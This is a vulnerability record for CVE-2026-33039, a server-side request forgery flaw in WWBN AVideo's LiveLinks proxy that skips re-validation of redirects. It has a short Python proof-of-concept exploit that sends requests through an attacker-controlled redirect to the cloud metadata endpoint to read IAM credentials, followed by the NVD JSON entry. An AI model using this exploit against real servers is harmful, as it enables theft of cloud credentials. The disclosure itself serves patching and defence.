CVE-2026-33039

import requests # Target AVideo instance target_url = "http://target-avideo-server/plugin/LiveLinks/proxy.php" # Attacker controlled server that redirects to internal metadata service # Set up a server (e.g., using Python http.server) that returns: # HTTP/1.1 302 Found # Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/ attacker_controlled_url = "http://attacker-server/redirect" params = { "url": attacker_controlled_url } # Send request to vulnerable endpoint # The proxy will check 'attacker-server' (safe), then follow redirect to '169.254.169.254' (unsafe) response = requests.get(target_url, params=params) print(f"Status Code: {response.status_code}") print("Response Body (Potential Internal Data):") print(response.text)

{"cve": {"id": "CVE-2026-33039", "sourceIdentifier": "[email protected]", "published": "2026-03-20T06:16:12.150", "lastModified": "2026-03-23T16:22:49.120", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions 25.0 and below, the plugin/LiveLinks/proxy.php endpoint validates user-supplied URLs against internal/private networks using isSSRFSafeURL(), but only checks the initial URL. When the initial URL responds with an HTTP redirect (Location header), the redirect target is fetched via fakeBrowser() without re-validation, allowing an attacker to reach internal services (cloud metadata, RFC1918 addresses) through an attacker-controlled redirect. This issue is fixed in version 26.0."}, {"lang": "es", "value": "WWBN AVideo es una plataforma de vídeo de código abierto. En las versiones 25.0 e inferiores, el endpoint plugin/LiveLinks/proxy.php valida las URL proporcionadas por el usuario contra redes internas/privadas utilizando isSSRFSafeURL(), pero solo verifica la URL inicial. Cuando la URL inicial responde con una redirección HTTP (encabezado Location), el objetivo de la redirección se obtiene a través de fakeBrowser() sin revalidación, permitiendo a un atacante alcanzar servicios internos (metadatos de la nube, direcciones RFC1918) a través de una redirección controlada por el atacante. Este problema se corrige en la versión 26.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.0", "matchCriteriaId": "B468F0CE-E5E7-4607-BD15-B5763C47493E"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/0e56382921fc71e64829cd1ec35f04e338c70917", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-9x67-f2v7-63rw", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-9x67-f2v7-63rw", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}